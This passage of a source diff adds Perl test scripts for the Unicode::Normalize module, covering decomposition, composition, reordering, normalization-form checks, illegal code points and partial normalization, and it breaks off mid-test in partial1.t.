+ok(getCanon(to_native( 0)), undef);
+ok(getCanon(to_native(0x29)), undef);
+ok(getCanon(to_native(0x41)), undef);
+ok(getCanon(to_native(0x00C0)), _pack_U(0x0041, 0x0300));
+ok(getCanon(to_native(0x00EF)), _pack_U(0x0069, 0x0308));
+ok(getCanon(0x304C), _pack_U(0x304B, 0x3099));
+ok(getCanon(0x1EA4), _pack_U(0x0041, 0x0302, 0x0301));
+ok(getCanon(0x1F82), _pack_U(0x03B1, 0x0313, 0x0300, 0x0345));
+ok(getCanon(0x1FAF), _pack_U(0x03A9, 0x0314, 0x0342, 0x0345));
+ok(getCanon(0xAC00), _pack_U(0x1100, 0x1161));
+ok(getCanon(0xAE00), _pack_U(0x1100, 0x1173, 0x11AF));
+ok(getCanon(0x212C), undef);
+ok(getCanon(0x3243), undef);
+ok(getCanon(0xFA2D), _pack_U(0x9DB4));
+
+# 20
+
+ok(getCompat(to_native( 0)), undef);
+ok(getCompat(to_native(0x29)), undef);
+ok(getCompat(to_native(0x41)), undef);
+ok(getCompat(to_native(0x00C0)), _pack_U(0x0041, 0x0300));
+ok(getCompat(to_native(0x00EF)), _pack_U(0x0069, 0x0308));
+ok(getCompat(0x304C), _pack_U(0x304B, 0x3099));
+ok(getCompat(0x1EA4), _pack_U(0x0041, 0x0302, 0x0301));
+ok(getCompat(0x1F82), _pack_U(0x03B1, 0x0313, 0x0300, 0x0345));
+ok(getCompat(0x1FAF), _pack_U(0x03A9, 0x0314, 0x0342, 0x0345));
+ok(getCompat(0x212C), _pack_U(0x0042));
+ok(getCompat(0x3243), _pack_U(0x0028, 0x81F3, 0x0029));
+ok(getCompat(0xAC00), _pack_U(0x1100, 0x1161));
+ok(getCompat(0xAE00), _pack_U(0x1100, 0x1173, 0x11AF));
+ok(getCompat(0xFA2D), _pack_U(0x9DB4));
+
+# 34
+
+ok(getComposite(to_native( 0), to_native( 0)), undef);
+ok(getComposite(to_native( 0), to_native(0x29)), undef);
+ok(getComposite(to_native(0x29), to_native( 0)), undef);
+ok(getComposite(to_native(0x29), to_native(0x29)), undef);
+ok(getComposite(to_native( 0), to_native(0x41)), undef);
+ok(getComposite(to_native(0x41), to_native( 0)), undef);
+ok(getComposite(to_native(0x41), to_native(0x41)), undef);
+ok(getComposite(to_native(12), to_native(0x0300)), undef);
+ok(getComposite(to_native(0x0055), 0xFF00), undef);
+ok(getComposite(to_native(0x0041), 0x0300), to_native(0x00C0));
+ok(getComposite(to_native(0x0055), 0x0300), to_native(0x00D9));
+ok(getComposite(0x0112, 0x0300), 0x1E14);
+ok(getComposite(0x1100, 0x1161), 0xAC00);
+ok(getComposite(0x1100, 0x1173), 0xADF8);
+ok(getComposite(0x1100, 0x11AF), undef);
+ok(getComposite(0x1173, 0x11AF), undef);
+ok(getComposite(0xAC00, 0x11A7), undef);
+ok(getComposite(0xAC00, 0x11A8), 0xAC01);
+ok(getComposite(0xADF8, 0x11AF), 0xAE00);
+
+# 53
+
+sub uprops {
+ my $uv = shift;
+ my $r = "";
+ $r .= isExclusion($uv) ? 'X' : 'x';
+ $r .= isSingleton($uv) ? 'S' : 's';
+ $r .= isNonStDecomp($uv) ? 'N' : 'n'; # Non-Starter Decomposition
+ $r .= isComp_Ex($uv) ? 'F' : 'f'; # Full exclusion (X + S + N)
+ $r .= isComp2nd($uv) ? 'B' : 'b'; # B = M = Y
+ $r .= isNFD_NO($uv) ? 'D' : 'd';
+ $r .= isNFC_MAYBE($uv) ? 'M' : 'm'; # Maybe
+ $r .= isNFC_NO($uv) ? 'C' : 'c';
+ $r .= isNFKD_NO($uv) ? 'K' : 'k';
+ $r .= isNFKC_MAYBE($uv) ? 'Y' : 'y'; # maYbe
+ $r .= isNFKC_NO($uv) ? 'G' : 'g';
+ return $r;
+}
+
+ok(uprops(to_native(0x0000)), 'xsnfbdmckyg'); # NULL
+ok(uprops(to_native(0x0029)), 'xsnfbdmckyg'); # RIGHT PARENTHESIS
+ok(uprops(to_native(0x0041)), 'xsnfbdmckyg'); # LATIN CAPITAL LETTER A
+ok(uprops(to_native(0x00A0)), 'xsnfbdmcKyG'); # NO-BREAK SPACE
+ok(uprops(to_native(0x00C0)), 'xsnfbDmcKyg'); # LATIN CAPITAL LETTER A WITH GRAVE
+ok(uprops(0x0300), 'xsnfBdMckYg'); # COMBINING GRAVE ACCENT
+ok(uprops(0x0344), 'xsNFbDmCKyG'); # COMBINING GREEK DIALYTIKA TONOS
+ok(uprops(0x0387), 'xSnFbDmCKyG'); # GREEK ANO TELEIA
+ok(uprops(0x0958), 'XsnFbDmCKyG'); # DEVANAGARI LETTER QA
+ok(uprops(0x0F43), 'XsnFbDmCKyG'); # TIBETAN LETTER GHA
+ok(uprops(0x1100), 'xsnfbdmckyg'); # HANGUL CHOSEONG KIYEOK
+ok(uprops(0x1161), 'xsnfBdMckYg'); # HANGUL JUNGSEONG A
+ok(uprops(0x11AF), 'xsnfBdMckYg'); # HANGUL JONGSEONG RIEUL
+ok(uprops(0x212B), 'xSnFbDmCKyG'); # ANGSTROM SIGN
+ok(uprops(0xAC00), 'xsnfbDmcKyg'); # HANGUL SYLLABLE GA
+ok(uprops(0xF900), 'xSnFbDmCKyG'); # CJK COMPATIBILITY IDEOGRAPH-F900
+ok(uprops(0xFB4E), 'XsnFbDmCKyG'); # HEBREW LETTER PE WITH RAFE
+ok(uprops(0xFF71), 'xsnfbdmcKyG'); # HALFWIDTH KATAKANA LETTER A
+
+# 71
+
+ok(decompose(""), "");
+ok(decompose("A"), "A");
+ok(decompose("", 1), "");
+ok(decompose("A", 1), "A");
+
+ok(decompose(hexU("1E14 AC01")), hexU("0045 0304 0300 1100 1161 11A8"));
+ok(decompose(hexU("AC00 AE00")), hexU("1100 1161 1100 1173 11AF"));
+ok(decompose(hexU("304C FF76")), hexU("304B 3099 FF76"));
+
+ok(decompose(hexU("1E14 AC01"), 1), hexU("0045 0304 0300 1100 1161 11A8"));
+ok(decompose(hexU("AC00 AE00"), 1), hexU("1100 1161 1100 1173 11AF"));
+ok(decompose(hexU("304C FF76"), 1), hexU("304B 3099 30AB"));
+
+# don't modify the source
+my $sDec = "\x{FA19}";
+ok(decompose($sDec), "\x{795E}");
+ok($sDec, "\x{FA19}");
+
+# 83
+
+ok(reorder(""), "");
+ok(reorder("A"), "A");
+ok(reorder(hexU("0041 0300 0315 0313 031b 0061")),
+ hexU("0041 031b 0300 0313 0315 0061"));
+ok(reorder(hexU("00C1 0300 0315 0313 031b 0061 309A 3099")),
+ hexU("00C1 031b 0300 0313 0315 0061 309A 3099"));
+
+# don't modify the source
+my $sReord = "\x{3000}\x{300}\x{31b}";
+ok(reorder($sReord), "\x{3000}\x{31b}\x{300}");
+ok($sReord, "\x{3000}\x{300}\x{31b}");
+
+# 89
+
+ok(compose(""), "");
+ok(compose("A"), "A");
+ok(compose(hexU("0061 0300")), hexU("00E0"));
+ok(compose(hexU("0061 0300 031B")), hexU("00E0 031B"));
+ok(compose(hexU("0061 0300 0315")), hexU("00E0 0315"));
+ok(compose(hexU("0061 0300 0313")), hexU("00E0 0313"));
+ok(compose(hexU("0061 031B 0300")), hexU("00E0 031B"));
+ok(compose(hexU("0061 0315 0300")), hexU("0061 0315 0300"));
+ok(compose(hexU("0061 0313 0300")), hexU("0061 0313 0300"));
+
+# don't modify the source
+my $sCom = "\x{304B}\x{3099}";
+ok(compose($sCom), "\x{304C}");
+ok($sCom, "\x{304B}\x{3099}");
+
+# 100
+
+ok(composeContiguous(""), "");
+ok(composeContiguous("A"), "A");
+ok(composeContiguous(hexU("0061 0300")), hexU("00E0"));
+ok(composeContiguous(hexU("0061 0300 031B")), hexU("00E0 031B"));
+ok(composeContiguous(hexU("0061 0300 0315")), hexU("00E0 0315"));
+ok(composeContiguous(hexU("0061 0300 0313")), hexU("00E0 0313"));
+ok(composeContiguous(hexU("0061 031B 0300")), hexU("0061 031B 0300"));
+ok(composeContiguous(hexU("0061 0315 0300")), hexU("0061 0315 0300"));
+ok(composeContiguous(hexU("0061 0313 0300")), hexU("0061 0313 0300"));
+
+# don't modify the source
+my $sCtg = "\x{30DB}\x{309A}";
+ok(composeContiguous($sCtg), "\x{30DD}");
+ok($sCtg, "\x{30DB}\x{309A}");
+
+# 111
+
+sub answer { defined $_[0] ? $_[0] ? "YES" : "NO" : "MAYBE" }
+
+ok(answer(checkNFD("")), "YES");
+ok(answer(checkNFC("")), "YES");
+ok(answer(checkNFKD("")), "YES");
+ok(answer(checkNFKC("")), "YES");
+ok(answer(check("NFD", "")), "YES");
+ok(answer(check("NFC", "")), "YES");
+ok(answer(check("NFKD","")), "YES");
+ok(answer(check("NFKC","")), "YES");
+
+# U+0000 to U+007F are prenormalized in all the normalization forms.
+ok(answer(checkNFD("AZaz\t12!#`")), "YES");
+ok(answer(checkNFC("AZaz\t12!#`")), "YES");
+ok(answer(checkNFKD("AZaz\t12!#`")), "YES");
+ok(answer(checkNFKC("AZaz\t12!#`")), "YES");
+ok(answer(check("D", "AZaz\t12!#`")), "YES");
+ok(answer(check("C", "AZaz\t12!#`")), "YES");
+ok(answer(check("KD","AZaz\t12!#`")), "YES");
+ok(answer(check("KC","AZaz\t12!#`")), "YES");
+
+ok(answer(checkNFD(NFD(_pack_U(0xC1, 0x1100, 0x1173, 0x11AF)))), "YES");
+ok(answer(checkNFD(hexU("20 C1 1100 1173 11AF"))), "NO");
+ok(answer(checkNFC(hexU("20 C1 1173 11AF"))), "MAYBE");
+ok(answer(checkNFC(hexU("20 C1 AE00 1100"))), "YES");
+ok(answer(checkNFC(hexU("20 C1 AE00 1100 0300"))), "MAYBE");
+ok(answer(checkNFC(hexU("212B 1100 0300"))), "NO");
+ok(answer(checkNFC(hexU("1100 0300 212B"))), "NO");
+ok(answer(checkNFC(hexU("0041 0327 030A"))), "MAYBE"); # A+cedilla+ring
+ok(answer(checkNFC(hexU("0041 030A 0327"))), "NO"); # A+ring+cedilla
+ok(answer(checkNFC(hexU("20 C1 FF71 2025"))),"YES");
+ok(answer(check("NFC", hexU("20 C1 212B 300"))), "NO");
+ok(answer(checkNFKD(hexU("20 C1 FF71 2025"))), "NO");
+ok(answer(checkNFKC(hexU("20 C1 AE00 2025"))), "NO");
+ok(answer(checkNFKC(hexU("212B 1100 0300"))), "NO");
+ok(answer(checkNFKC(hexU("1100 0300 212B"))), "NO");
+ok(answer(checkNFKC(hexU("0041 0327 030A"))), "MAYBE"); # A+cedilla+ring
+ok(answer(checkNFKC(hexU("0041 030A 0327"))), "NO"); # A+ring+cedilla
+ok(answer(check("NFKC", hexU("20 C1 212B 300"))), "NO");
+
+# 145
+
+"012ABC" =~ /(\d+)(\w+)/;
+ok("012" eq NFC $1 && "ABC" eq NFC $2);
+
+ok(normalize('C', $1), "012");
+ok(normalize('C', $2), "ABC");
+
+ok(normalize('NFC', $1), "012");
+ok(normalize('NFC', $2), "ABC");
+ # s/^NF// in normalize() must not prevent using $1, $&, etc.
+
+# 150
+
+# a string with initial zero should be treated like a number
+
+# LATIN CAPITAL LETTER A WITH GRAVE
+ok(getCombinClass(sprintf("0%d", to_native(192))), 0);
+ok(getCanon (sprintf("0%d", to_native(192))), _pack_U(0x41, 0x300));
+ok(getCompat(sprintf("0%d", to_native(192))), _pack_U(0x41, 0x300));
+my $lead_zero = sprintf "0%d", to_native(65);
+ok(getComposite($lead_zero, "0768"), to_native(192));
+ok(isNFD_NO (sprintf("0%d", to_native(192))));
+ok(isNFKD_NO(sprintf("0%d", to_native(192))));
+
+# DEVANAGARI LETTER QA
+ok(isExclusion("02392"));
+ok(isComp_Ex ("02392"));
+ok(isNFC_NO ("02392"));
+ok(isNFKC_NO ("02392"));
+ok(isNFD_NO ("02392"));
+ok(isNFKD_NO ("02392"));
+
+# ANGSTROM SIGN
+ok(isSingleton("08491"));
+ok(isComp_Ex ("08491"));
+ok(isNFC_NO ("08491"));
+ok(isNFKC_NO ("08491"));
+ok(isNFD_NO ("08491"));
+ok(isNFKD_NO ("08491"));
+
+# COMBINING GREEK DIALYTIKA TONOS
+ok(isNonStDecomp("0836"));
+ok(isComp_Ex ("0836"));
+ok(isNFC_NO ("0836"));
+ok(isNFKC_NO ("0836"));
+ok(isNFD_NO ("0836"));
+ok(isNFKD_NO ("0836"));
+
+# COMBINING GRAVE ACCENT
+ok(getCombinClass("0768"), 230);
+ok(isComp2nd ("0768"));
+ok(isNFC_MAYBE ("0768"));
+ok(isNFKC_MAYBE("0768"));
+
+# HANGUL SYLLABLE GA
+ok(getCombinClass("044032"), 0);
+ok(getCanon("044032"), _pack_U(0x1100, 0x1161));
+ok(getCompat("044032"), _pack_U(0x1100, 0x1161));
+ok(getComposite("04352", "04449"), 0xAC00);
+
+# 182
+
+# string with 22 combining characters: (0x300..0x315)
+my $str_cc22 = _pack_U(0x3041, 0x300..0x315, 0x3042);
+ok(decompose($str_cc22), $str_cc22);
+ok(reorder($str_cc22), $str_cc22);
+ok(compose($str_cc22), $str_cc22);
+ok(composeContiguous($str_cc22), $str_cc22);
+ok(NFD($str_cc22), $str_cc22);
+ok(NFC($str_cc22), $str_cc22);
+ok(NFKD($str_cc22), $str_cc22);
+ok(NFKC($str_cc22), $str_cc22);
+ok(FCD($str_cc22), $str_cc22);
+ok(FCC($str_cc22), $str_cc22);
+
+# 192
+
+# string with 40 combining characters of the same class: (0x300..0x313)x2
+my $str_cc40 = _pack_U(0x3041, 0x300..0x313, 0x300..0x313, 0x3042);
+ok(decompose($str_cc40), $str_cc40);
+ok(reorder($str_cc40), $str_cc40);
+ok(compose($str_cc40), $str_cc40);
+ok(composeContiguous($str_cc40), $str_cc40);
+ok(NFD($str_cc40), $str_cc40);
+ok(NFC($str_cc40), $str_cc40);
+ok(NFKD($str_cc40), $str_cc40);
+ok(NFKC($str_cc40), $str_cc40);
+ok(FCD($str_cc40), $str_cc40);
+ok(FCC($str_cc40), $str_cc40);
+
+# 202
+
+my $precomp = hexU("304C 304E 3050 3052 3054");
+my $combseq = hexU("304B 3099 304D 3099 304F 3099 3051 3099 3053 3099");
+ok(decompose($precomp x 5), $combseq x 5);
+ok(decompose($precomp x 10), $combseq x 10);
+ok(decompose($precomp x 20), $combseq x 20);
+
+my $hangsyl = hexU("AC00 B098 B2E4 B77C B9C8");
+my $jamoseq = hexU("1100 1161 1102 1161 1103 1161 1105 1161 1106 1161");
+ok(decompose($hangsyl x 5), $jamoseq x 5);
+ok(decompose($hangsyl x 10), $jamoseq x 10);
+ok(decompose($hangsyl x 20), $jamoseq x 20);
+
+my $notcomp = hexU("304B 304D 304F 3051 3053");
+ok(decompose($precomp . $notcomp), $combseq . $notcomp);
+ok(decompose($precomp . $notcomp x 5), $combseq . $notcomp x 5);
+ok(decompose($precomp . $notcomp x10), $combseq . $notcomp x10);
+
+# 211
+
+my $preUnicode3_1 = !defined getCanon(0x1D15E);
+my $preUnicode3_2 = !defined getCanon(0x2ADC);
+
+# HEBREW LETTER YOD WITH HIRIQ
+ok($preUnicode3_1 xor isExclusion(0xFB1D));
+ok($preUnicode3_1 xor isComp_Ex (0xFB1D));
+
+# MUSICAL SYMBOL HALF NOTE
+ok($preUnicode3_1 xor isExclusion(0x1D15E));
+ok($preUnicode3_1 xor isComp_Ex (0x1D15E));
+
+# FORKING
+ok($preUnicode3_2 xor isExclusion(0x2ADC));
+ok($preUnicode3_2 xor isComp_Ex (0x2ADC));
+
+# 217
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t
new file mode 100644
index 00000000000..ccf2b4aae62
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/illegal.t
@@ -0,0 +1,85 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+BEGIN {
+ use Unicode::Normalize qw(:all);
+
+ unless (exists &Unicode::Normalize::bootstrap or 5.008 <= $]) {
+ print "1..0 # skipped: XSUB, or Perl 5.8.0 or later".
+ " needed for this test\n";
+ print $@;
+ exit;
+ }
+}
+
+use strict;
+use warnings;
+
+BEGIN { $| = 1; print "1..113\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+ok(1);
+
+#########################
+
+no warnings qw(utf8);
+
+for my $u (0xD800, 0xDFFF, 0xFDD0, 0xFDEF, 0xFEFF, 0xFFFE, 0xFFFF,
+ 0x1FFFF, 0x10FFFF, 0x110000, 0x3FFFFFFF)
+{
+ my $c = chr $u;
+ ok($c eq NFD($c)); # 1
+ ok($c eq NFC($c)); # 2
+ ok($c eq NFKD($c)); # 3
+ ok($c eq NFKC($c)); # 4
+ ok($c eq FCD($c)); # 5
+ ok($c eq FCC($c)); # 6
+ ok($c eq decompose($c)); # 7
+ ok($c eq decompose($c,1)); # 8
+ ok($c eq reorder($c)); # 9
+ ok($c eq compose($c)); # 10
+}
+
+our $proc; # before the last starter
+our $unproc; # the last starter and after
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+
+($proc, $unproc) = splitOnLastStarter(_pack_U(0x41, 0x300, 0x327, 0xFFFF));
+ok($proc eq _pack_U(0x41, 0x300, 0x327));
+ok($unproc eq "\x{FFFF}");
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t
new file mode 100644
index 00000000000..d3cec3aea17
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/norm.t
@@ -0,0 +1,145 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..64\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(normalize);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+ok(normalize('D', ""), "");
+ok(normalize('C', ""), "");
+ok(normalize('KD',""), "");
+ok(normalize('KC',""), "");
+
+ok(normalize('D', "A"), "A");
+ok(normalize('C', "A"), "A");
+ok(normalize('KD',"A"), "A");
+ok(normalize('KC',"A"), "A");
+
+ok(normalize('NFD', ""), "");
+ok(normalize('NFC', ""), "");
+ok(normalize('NFKD',""), "");
+ok(normalize('NFKC',""), "");
+
+ok(normalize('NFD', "A"), "A");
+ok(normalize('NFC', "A"), "A");
+ok(normalize('NFKD',"A"), "A");
+ok(normalize('NFKC',"A"), "A");
+
+# 17
+
+# don't modify the source
+my $sNFD = "\x{FA19}";
+ok(normalize('NFD', $sNFD), "\x{795E}");
+ok($sNFD, "\x{FA19}");
+
+my $sNFC = "\x{FA1B}";
+ok(normalize('NFC', $sNFC), "\x{798F}");
+ok($sNFC, "\x{FA1B}");
+
+my $sNFKD = "\x{FA1E}";
+ok(normalize('NFKD', $sNFKD), "\x{7FBD}");
+ok($sNFKD, "\x{FA1E}");
+
+my $sNFKC = "\x{FA26}";
+ok(normalize('NFKC', $sNFKC), "\x{90FD}");
+ok($sNFKC, "\x{FA26}");
+
+# 25
+
+sub hexNFC {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U normalize 'C', _pack_U map hex, split ' ', shift;
+}
+sub hexNFD {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U normalize 'D', _pack_U map hex, split ' ', shift;
+}
+
+ok(hexNFD("1E14 AC01"), "0045 0304 0300 1100 1161 11A8");
+ok(hexNFD("AC00 AE00"), "1100 1161 1100 1173 11AF");
+
+ok(hexNFC("0061 0315 0300 05AE 05C4 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("00E0 05AE 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0061 05AE 0300 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0045 0304 0300 AC00 11A8"), "1E14 AC01");
+ok(hexNFC("1100 1161 1100 1173 11AF"), "AC00 AE00");
+ok(hexNFC("1100 0300 1161 1173 11AF"), "1100 0300 1161 1173 11AF");
+
+ok(hexNFD("0061 0315 0300 05AE 05C4 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("00E0 05AE 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("0061 05AE 0300 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFC("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0000 0041 0000 0000"), "0000 0041 0000 0000");
+ok(hexNFD("0000 0041 0000 0000"), "0000 0041 0000 0000");
+
+ok(hexNFC("AC00 11A7"), "AC00 11A7");
+ok(hexNFC("AC00 11A8"), "AC01");
+ok(hexNFC("AC00 11A9"), "AC02");
+ok(hexNFC("AC00 11C2"), "AC1B");
+ok(hexNFC("AC00 11C3"), "AC00 11C3");
+
+# 47
+
+# Test Cases from Public Review Issue #29: Normalization Issue
+# cf. http://www.unicode.org/review/pr-29.html
+ok(hexNFC("0B47 0300 0B3E"), "0B47 0300 0B3E");
+ok(hexNFC("1100 0300 1161"), "1100 0300 1161");
+ok(hexNFC("0B47 0B3E 0300"), "0B4B 0300");
+ok(hexNFC("1100 1161 0300"), "AC00 0300");
+ok(hexNFC("0B47 0300 0B3E 0327"), "0B47 0300 0B3E 0327");
+ok(hexNFC("1100 0300 1161 0327"), "1100 0300 1161 0327");
+
+ok(hexNFC("0300 0041"), "0300 0041");
+ok(hexNFC("0300 0301 0041"), "0300 0301 0041");
+ok(hexNFC("0301 0300 0041"), "0301 0300 0041");
+ok(hexNFC("0000 0300 0000 0301"), "0000 0300 0000 0301");
+ok(hexNFC("0000 0301 0000 0300"), "0000 0301 0000 0300");
+
+ok(hexNFC("0327 0061 0300"), "0327 00E0");
+ok(hexNFC("0301 0061 0300"), "0301 00E0");
+ok(hexNFC("0315 0061 0300"), "0315 00E0");
+ok(hexNFC("0000 0327 0061 0300"), "0000 0327 00E0");
+ok(hexNFC("0000 0301 0061 0300"), "0000 0301 00E0");
+ok(hexNFC("0000 0315 0061 0300"), "0000 0315 00E0");
+
+# 64
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t
new file mode 100644
index 00000000000..9a0008708ed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/null.t
@@ -0,0 +1,100 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+
+use Unicode::Normalize qw(:all);
+print "1..24\n";
+
+print "ok 1\n";
+
+# if $_ is not NULL-terminated, test may fail.
+
+$_ = compose('abc');
+print /c$/ ? "ok" : "not ok", " 2\n";
+
+$_ = decompose('abc');
+print /c$/ ? "ok" : "not ok", " 3\n";
+
+$_ = reorder('abc');
+print /c$/ ? "ok" : "not ok", " 4\n";
+
+$_ = NFD('abc');
+print /c$/ ? "ok" : "not ok", " 5\n";
+
+$_ = NFC('abc');
+print /c$/ ? "ok" : "not ok", " 6\n";
+
+$_ = NFKD('abc');
+print /c$/ ? "ok" : "not ok", " 7\n";
+
+$_ = NFKC('abc');
+print /c$/ ? "ok" : "not ok", " 8\n";
+
+$_ = FCC('abc');
+print /c$/ ? "ok" : "not ok", " 9\n";
+
+$_ = decompose("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 10\n";
+
+$_ = decompose("\x{304B}\x{3099}abc");
+print /c$/ ? "ok" : "not ok", " 11\n";
+
+$_ = reorder("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 12\n";
+
+$_ = reorder("\x{304B}\x{3099}abc");
+print /c$/ ? "ok" : "not ok", " 13\n";
+
+$_ = compose("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 14\n";
+
+$_ = compose("\x{304B}\x{3099}abc");
+print /c$/ ? "ok" : "not ok", " 15\n";
+
+$_ = NFD("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 16\n";
+
+$_ = NFC("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 17\n";
+
+$_ = NFKD("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 18\n";
+
+$_ = NFKC("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 19\n";
+
+$_ = FCC("\x{304C}abc");
+print /c$/ ? "ok" : "not ok", " 20\n";
+
+$_ = getCanon(0x100);
+print s/.$// ? "ok" : "not ok", " 21\n";
+
+$_ = getCompat(0x100);
+print s/.$// ? "ok" : "not ok", " 22\n";
+
+$_ = getCanon(0xAC00);
+print s/.$// ? "ok" : "not ok", " 23\n";
+
+$_ = getCompat(0xAC00);
+print s/.$// ? "ok" : "not ok", " 24\n";
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t
new file mode 100644
index 00000000000..3e44a63dc04
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/partial1.t
@@ -0,0 +1,120 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+BEGIN {
+ unless (5.006001 <= $]) {
+ print "1..0 # skipped: Perl 5.6.1 or later".
+ " needed for this test\n";
+ exit;
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..26\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+sub arraynorm {
+ my $form = shift;
+ my @string = @_;
+ my $result = "";
+ my $unproc = "";
+ foreach my $str (@string) {
+ $unproc .= $str;
+ $result .= $form eq 'NFC' ? NFC_partial ($unproc) :
+ $form eq 'NFD' ? NFD_partial ($unproc) :
+ $form eq 'NFKC' ? NFKC_partial($unproc) :
+ $form eq 'NFKD' ? NFKD_partial($unproc) :
+ undef;
+ }
+ $result .= $unproc;
+ return $result;
+}
+
+my $strD = "\x{3C9}\x{301}\x{1100}\x{1161}\x{11A8}\x{1100}\x{1161}\x{11AA}";
+my $strC = "\x{3CE}\x{AC01}\x{AC03}";
+my @str1 = (substr($strD,0,3), substr($strD,3,4), substr($strD,7));
+my @str2 = (substr($strD,0,1), substr($strD,1,3), substr($strD,4));
+ok($strC eq NFC($strD));
+ok($strD eq join('', @str1));
+ok($strC eq arraynorm('NFC', @str1));
+ok($strD eq join('', @str2));
+ok($strC eq arraynorm('NFC', @str2));
+
+my @strX = ("\x{300}\x{AC00}", "\x{11A8}");
+my $strX = "\x{300}\x{AC01}";
+ok($strX eq NFC(join('', @strX)));
+ok($strX eq arraynorm('NFC', @strX));
+ok($strX eq NFKC(join('', @strX)));
+ok($strX eq arraynorm('NFKC', @strX));
+
+my @strY = ("\x{304B}\x{0308}", "\x{0323}\x{3099}");
